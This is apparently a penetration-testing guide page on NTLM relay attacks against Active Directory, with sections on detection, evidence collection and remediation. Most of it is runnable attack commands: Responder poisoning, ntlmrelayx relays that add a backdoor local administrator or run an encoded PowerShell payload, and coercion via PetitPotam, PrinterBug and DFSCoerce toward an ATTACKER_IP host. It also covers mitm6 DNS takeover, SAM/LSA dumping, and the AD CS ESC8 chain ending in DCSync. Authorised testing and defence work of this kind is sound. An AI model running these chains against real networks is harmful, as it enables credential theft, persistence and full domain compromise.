14 min read

Exploitation

Relay Attacks

Relay captured NTLM authentication to other services instead of cracking hashes. Still effective against LDAP, HTTP/WebDAV and AD CS, and against SMB on hosts older than Windows 11 24H2 / Server 2025.

Danger

Scope boundary for this page. A relay does not crack anything — it authenticates as the real user into a real service, so every action lands in that user's name. Relaying to LDAP creates computer accounts and writes msDS-AllowedToActOnBehalfOfOtherIdentity; relaying to AD CS issues a certificate that stays valid for the template's lifetime. Confirm the Rules of Engagement authorise object creation in the target domain and certificate issuance, keep the target list you actually relayed to as scope evidence, and do not relay accounts whose use was not agreed in advance.

Tool Installation

Required Tools

Impacket (ntlmrelayx) - NTLM relay toolkit

pip install impacket

GitHub: fortra/impacket

mitm6 - IPv6 DNS takeover

pip install mitm6

GitHub: dirkjanm/mitm6

PetitPotam - MS-EFSRPC coercion

git clone https://github.com/topotam/PetitPotam

GitHub: topotam/PetitPotam

Coercer - Multi-protocol coercion

pip install coercer

GitHub: p0dalirius/Coercer

Prerequisites Check

Check SMB Signing

NTLM relay to SMB requires that signing is not enforced on the target. The default changed in Windows 11 24H2 and Windows Server 2025, so establish which build the target is running before building a target list.

SMB Signing Defaults:

  • Windows 11 24H2 / Server 2025 and later - All inbound and outbound SMB connections require signing by default. SMB-to-SMB relay fails there regardless of the relayed account; use the LDAP, WebDAV or AD CS paths on this page instead.
  • Windows 11 23H2 / Server 2022 and earlier - Signing is required only for SYSVOL/NETLOGON shares and for DC clients, so:
  • Domain Controllers - Signing required (cannot relay to DCs via SMB)
  • Windows Servers - Signing not required (relayable)
  • Windows Clients - Signing not required (relayable)

SMB auth rate limiter: on 24H2 / Server 2025 it is enabled by default and delays 2 seconds after every failed NTLM (or local-KDC Kerberos) authentication attempt. A spray that would land ~300 guesses per second against an earlier build is throttled to roughly one attempt per 2 seconds per session, so size SMB spraying against that ceiling or spray LDAP/Kerberos instead.

relay-targets.sh
# nxc - generate relay target list (recommended)
nxc smb 192.168.1.0/24 --gen-relay-list relay_targets.txt

# Nmap SMB signing check
nmap -p445 --script smb-security-mode 192.168.1.0/24
nmap -p445 --script smb-security-mode 192.168.1.0/24 -oG - | grep 'not required'

# RunFinger (Responder toolkit)
cd /usr/share/responder/tools
python RunFinger.py -i 192.168.1.0/24

# NetExec (nxc successor)
nxc smb 192.168.1.0/24 --gen-relay-list targets.txt

NTLM Relay to SMB

Basic SMB Relay

Step 1: Configure Responder to not respond on SMB/HTTP (ntlmrelayx will handle these)

Responder.conf
# Edit Responder configuration
sudo nano /etc/responder/Responder.conf

# Set these to Off:
SMB = Off
HTTP = Off

Step 2: Start Responder to poison LLMNR/NBT-NS (Terminal 1)

responder.sh
# Start Responder (with SMB/HTTP disabled in config)
sudo responder -I eth0 -dwPv

Step 3: Start ntlmrelayx to relay captured auth (Terminal 2)

relay-smb.sh
# Basic relay - dumps SAM when successful
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support

# With command execution
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support -c 'whoami'
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support -c 'net user hacker P@ssw0rd! /add && net localgroup administrators hacker /add'

# Execute PowerShell encoded command
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support -c 'powershell -enc BASE64_ENCODED_PAYLOAD'

Information

How it works: User's machine broadcasts LLMNR → Responder responds → User authenticates to attacker → ntlmrelayx forwards auth to target → Target executes commands with user's privileges

Relay with SAM / LSA Dump

relay-dump.sh
# A successful relay that lands local admin dumps SAM automatically
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support

# Add LSA secrets (machine account + service account passwords)
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support --dump-lsa

# There is no --dump-sam switch - SAM output appears in the relay log as soon as the session is elevated

Interactive SMB Shell

relay-interactive.sh
# Get interactive SMB shell
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support -i

# Connect to the shell (when relay happens)
nc 127.0.0.1 11000

# Available commands: shares, use, cd, ls, get, put, cat, info

LDAP Relay

Relaying to LDAP/LDAPS allows modifying Active Directory objects. Requires relaying a privileged user or exploiting default AD permissions.

LDAP vs LDAPS:

  • LDAP (389) - Plaintext; relay succeeds unless Domain controller: LDAP server signing requirements is set to Require signing
  • LDAPS (636) - TLS. LDAP signing does not govern this port at all — channel binding (EPA) does, and the relay fails when EPA is enabled

Relay to LDAP - Add Computer

By default, any domain user can add up to 10 computer accounts (ms-DS-MachineAccountQuota).

relay-ldap-addcomputer.sh
# Relay to LDAP and add a computer account
sudo ntlmrelayx.py -t ldap://DC_IP --add-computer YOURPC 'Password123!'

# Relay to LDAPS (more reliable for some operations)
sudo ntlmrelayx.py -t ldaps://DC_IP --add-computer

# After adding computer, you can use it for RBCD attacks
# Check the computer was created
nxc ldap DC_IP -u user -p pass -M maq

Relay to LDAP - Resource-Based Constrained Delegation (RBCD)

Configure delegation on target computer to allow your controlled machine to impersonate users.

relay-ldap-rbcd.sh
# Step 1: Relay to LDAPS with delegate-access
# 389 is refused when LDAP signing is "Require signing", and 636 is refused when
# channel binding (EPA) is enabled - so this only works where neither is enforced.
sudo ntlmrelayx.py -t ldaps://DC_IP --delegate-access --escalate-user YOURPC$

# This modifies msDS-AllowedToActOnBehalfOfOtherIdentity on the target

# Step 2: Use S4U to get service ticket as admin
# Get TGT for your controlled computer
getST.py -spn cifs/TARGET.corp.local corp.local/YOURPC$:'Password123!' -impersonate Administrator

# Step 3: Use the ticket
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass TARGET.corp.local
secretsdump.py -k -no-pass TARGET.corp.local

Tip

Full RBCD Chain: Coerce auth (PetitPotam) → Relay to LDAP → Add computer account → Set RBCD delegation → S4U2Self/S4U2Proxy → Admin ticket → DCSync

Authentication Coercion

Coercion techniques force a target machine to authenticate to your attacker machine, providing credentials to relay.

Coercion Methods:

  • PetitPotam - MS-EFSRPC (EFS) - Most common
  • PrinterBug - MS-RPRN (Print Spooler)
  • DFSCoerce - MS-DFSNM (DFS)
  • ShadowCoerce - MS-FSRVP (File Server VSS)
  • Coercer - Tests all methods automatically

Coercer - Test All Methods

Coercer automatically tests multiple coercion techniques to find working methods.

coercer.sh
# Install Coercer
pip install coercer

# Scan for coercion vulnerabilities
coercer scan -t TARGET_IP -u user -p password -d corp.local

# Coerce authentication to attacker
coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -p password -d corp.local

# Target specific method
coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -p password -d corp.local --filter-method-name PetitPotam

PetitPotam

petitpotam.sh
# Download PetitPotam
git clone https://github.com/topotam/PetitPotam.git
cd PetitPotam

# Unauthenticated coercion (if vulnerable - patched systems require auth)
python PetitPotam.py ATTACKER_IP TARGET_IP

# Authenticated (works on patched systems)
python PetitPotam.py -d corp.local -u user -p 'password' ATTACKER_IP TARGET_IP

# Full attack chain with AD CS
# Terminal 1: Start relay to ADCS
sudo ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Terminal 2: Trigger coercion
python PetitPotam.py ATTACKER_IP DC_IP

PrinterBug (SpoolSample)

Requires Print Spooler service running on target (common on workstations and servers).

printerbug.sh
# Check if Print Spooler is running
rpcdump.py @TARGET_IP | grep -i spoolsv
nxc smb TARGET_IP -u user -p pass -M spooler

# Python PrinterBug
git clone https://github.com/dirkjanm/krbrelayx.git
python krbrelayx/printerbug.py corp.local/user:password@TARGET ATTACKER_IP

# Windows SpoolSample.exe
SpoolSample.exe TARGET ATTACKER

# Requires auth, triggers callback from TARGET to ATTACKER

DFSCoerce

Coerces authentication via the DFS service (Distributed File System).

dfscoerce.sh
# Download DFSCoerce
git clone https://github.com/Wh04m1001/DFSCoerce.git
cd DFSCoerce

# Coerce via DFS
python dfscoerce.py -d corp.local -u user -p password ATTACKER TARGET

# DFS typically requires authentication

IPv6 DNS Takeover (mitm6)

mitm6 exploits Windows' default IPv6 configuration to become the DNS server and redirect traffic.

How it works:

  1. Windows prefers IPv6 over IPv4 by default
  2. mitm6 sends DHCPv6 replies to become the DNS server
  3. Victim queries DNS through attacker
  4. Attacker responds with own IP for WPAD proxy
  5. Victim authenticates to attacker's fake proxy
  6. Credentials relayed to target (LDAP/ADCS)
mitm6.sh
# Install mitm6
pip install mitm6

# Start mitm6 to poison IPv6 DNS
sudo mitm6 -d corp.local

# Combined with ntlmrelayx for WPAD (full attack)
# Terminal 1: Start mitm6
sudo mitm6 -d corp.local

# Terminal 2: Start ntlmrelayx with WPAD
sudo ntlmrelayx.py -6 -t ldaps://DC_IP -wh wpad.corp.local --delegate-access

# -6: Enable IPv6
# -wh: WPAD host to serve
# --delegate-access: Configure RBCD on relayed computer

# Wait for machines to refresh DHCP/DNS (can take minutes to hours)
# Works best during business hours when users are logging in

Warning

Patience Required: mitm6 attacks can take time as they rely on DHCPv6 lease renewal. Best run during work hours when machines are actively being used.

Relay to ADCS (ESC8)

Active Directory Certificate Services web enrollment is often vulnerable to NTLM relay attacks. This is known as ESC8.

ESC8 Requirements:

  • Web Enrollment enabled on Certificate Authority
  • HTTP endpoints (not HTTPS with EPA)
  • Certificate template that allows authentication (Machine, User, DomainController)

Enumerate ADCS

enum-adcs.sh
# Find ADCS with nxc
nxc ldap DC_IP -u user -p pass -M adcs

# Find with certipy
certipy find -u user@corp.local -p password -dc-ip DC_IP

# Check for vulnerable web enrollment
curl -I http://CA_IP/certsrv/
# 401 response = Web enrollment enabled

Relay Attack Chain

relay-adcs-chain.sh
# Step 1: Start relay to ADCS web enrollment
sudo ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Step 2: Trigger coercion from DC
python PetitPotam.py ATTACKER_IP DC_IP

# Step 3: ntlmrelayx will output a Base64 certificate
# Save it to a file and convert
echo 'BASE64_CERT' | base64 -d > dc.pfx

# Step 4: Authenticate with certificate
certipy auth -pfx dc.pfx -dc-ip DC_IP

# Step 5: You now have DC machine hash - DCSync!
secretsdump.py -hashes :NTLM_HASH corp.local/DC$@DC_IP

Tip

ESC8 to Domain Admin: PetitPotam to DC → Relay to ADCS → DC Certificate → Authenticate as DC → DCSync all hashes

Multi-Relay with SOCKS Proxy

SOCKS mode keeps sessions open, allowing you to use multiple tools through relayed connections.

relay-socks.sh
# Start ntlmrelayx in SOCKS mode
sudo ntlmrelayx.py -tf targets.txt -smb2support -socks

# List active sessions in ntlmrelayx console
socks

# Configure proxychains
# Edit /etc/proxychains4.conf:
# socks4 127.0.0.1 1080

# Use tools through SOCKS (no password needed - using relayed session)
proxychains secretsdump.py -no-pass corp.local/admin@TARGET
proxychains smbclient.py -no-pass corp.local/admin@TARGET
proxychains reg.py -no-pass corp.local/admin@TARGET query -keyName 'HKLM\SAM'

SOCKS Session Notes:

  • Sessions are user-to-target specific
  • Use socks command in ntlmrelayx to list active sessions
  • AdminStatus shows if user has admin on target
  • Sessions timeout after period of inactivity

Tip

When relaying, the captured credential's privileges apply on the target. A domain admin credential relayed to a workstation gives admin access on that workstation.

External Resources

Detection & Blue Team

Relay is unusual to detect because every logon it produces is a genuine authentication with a valid password-equivalent — nothing on the account is wrong. The tells are contextual: an NTLM network logon from a workstation the account never uses, a computer account created seconds after an inbound RPC call, or a certificate enrolment from a host that is not a PKI server. Detection therefore depends on baseline, and the table is a starting map rather than a rule set.

Attack Event IDs Detection Approach
NTLM Relay 4624 (Type 3) Logon events where source IP doesn't match the account's typical workstation. Enforce SMB signing and LDAP channel binding.
Relay to LDAP 5136, 4741 Monitor for computer account creation (4741) and msDS-AllowedToActOnBehalfOfOtherIdentity changes (5136). Set MachineAccountQuota=0.
Relay to ADCS 4886, 4887 Certificate enrollment requests from unusual IPs or for machine certificates. Enable EPA on ADCS HTTP endpoints.
Coercion (PetitPotam) Network traffic Monitor for RPC calls to EFS, Print Spooler, DFS pipes from workstations. Disable unnecessary services on DCs.

Evidence Collection

Relay log: The ntlmrelayx line naming the relayed account, source host, target and the operation it performed (--dump-lsa, --delegate-access, --adcs). This is the proof that authentication succeeded, which poisoning alone does not show.

Object or attribute written: For LDAP relay, the created computer account and the msDS-AllowedToActOnBehalfOfOtherIdentity value before and after; for AD CS relay, the certificate's serial, template and SAN. Both are what the client has to clean up.

Session context: The socks session list showing the relayed identity and AdminStatus. It bounds the impact claim: a relayed helpdesk account with admin on one workstation is a different finding from the same relay onto a DC.

Signing state: The --gen-relay-list or smb-security-mode output showing signing "not required" on that host, plus its OS build — 24H2 and Server 2025 require signing by default, so build number and result travel together.

CVSS range: Relay to LDAP creating a computer account: 6.5–7.5 | Relay to AD CS issuing a DC certificate: 9.8 | Relay landing local admin and a SAM dump: 8.8

False Positive Identification

  • Poisoned is not relayed: Responder answering a name proves the poisoning worked. The relay is the separate SUCCEED or Authenticating against line — if SMB signing rejected the session, you have a poisoning observation and no relay.
  • LDAP authentication without a write: An LDAP relay that authenticates and then fails with insufficient access proves signing is not required. Report the configuration weakness, not a compromise, unless an object or attribute actually changed.
  • A certificate you cannot use: AD CS relay can issue a certificate that PKINIT then refuses (wrong template, no DC authentication EKU). The enrolment is the finding; the domain takeover is not.
  • Coercion that never calls back: PetitPotam or PrinterBug returning success without an inbound connection to your listener is not coercion — check the listener, not the exploit's exit code.

Testing Checklist

A relay finding has three separate links - signing, `SUCCEED`, and the object written. A break at any one of them means the finding is smaller than it looks.

Prove the relay is possible

  • ☐ Signing is confirmed "not required" on the target, with its build number - 24H2 and Server 2025 require signing by default, so the check is per host, not per estate.
  • ☐ ntlmrelayx.py -tf targets -smb2support prints Authenticating against ... SUCCEED; the poisoning line alone proves nothing.
  • ☐ Responder is listening only for the trigger, or its SMB and HTTP servers are off so the relay has something to receive.
  • ☐ A coercion (PetitPotam, PrinterBug, DFSCoerce, Coercer) produces an inbound connection to your listener; no callback means the trigger failed.

Prove what the relay bought

  • ☐ An LDAP relay that authenticates but writes nothing is reported as a signing or channel-binding weakness, not a compromise.
  • ☐ A created computer account, or a new msDS-AllowedToActOnBehalfOfOtherIdentity value, is read back from the directory to confirm it landed.
  • ☐ An AD CS relay produces an enrolment whose serial and SAN you can name, and certipy auth either accepts it or the mapping limit is stated.
  • ☐ The socks session list shows the relayed identity and AdminStatus, which is what bounds the impact claim.

Remediation

Close the relay path

  • • Require SMB signing by GPO on 23H2 and earlier estates, and verify the 24H2 / Server 2025 default rather than assuming it — one unmanaged appliance in the range is enough.
  • • Set <em>Domain controller: LDAP server signing requirements</em> to <strong>Require signing</strong> and enable LDAP channel binding on every DC.
  • • Enable Extended Protection for Authentication (EPA) on AD CS HTTP endpoints and WinRM, and disable HTTP certificate enrolment where HTTPS is available.

Remove the trigger and watch for the tail

  • • Disable the Print Spooler service on DCs and on any host that does not print; apply Microsoft's RPC firewall guidance for EFSRPC and DFSNM.
  • • Set ms-DS-MachineAccountQuota to 0 and alert on 4741 (computer account created) and 5136 on msDS-AllowedToActOnBehalfOfOtherIdentity.
  • • Alert on 4624 type 3 NTLM logons from hosts that are not the account's usual workstation, and on 4886/4887 certificate enrolments from non-PKI hosts.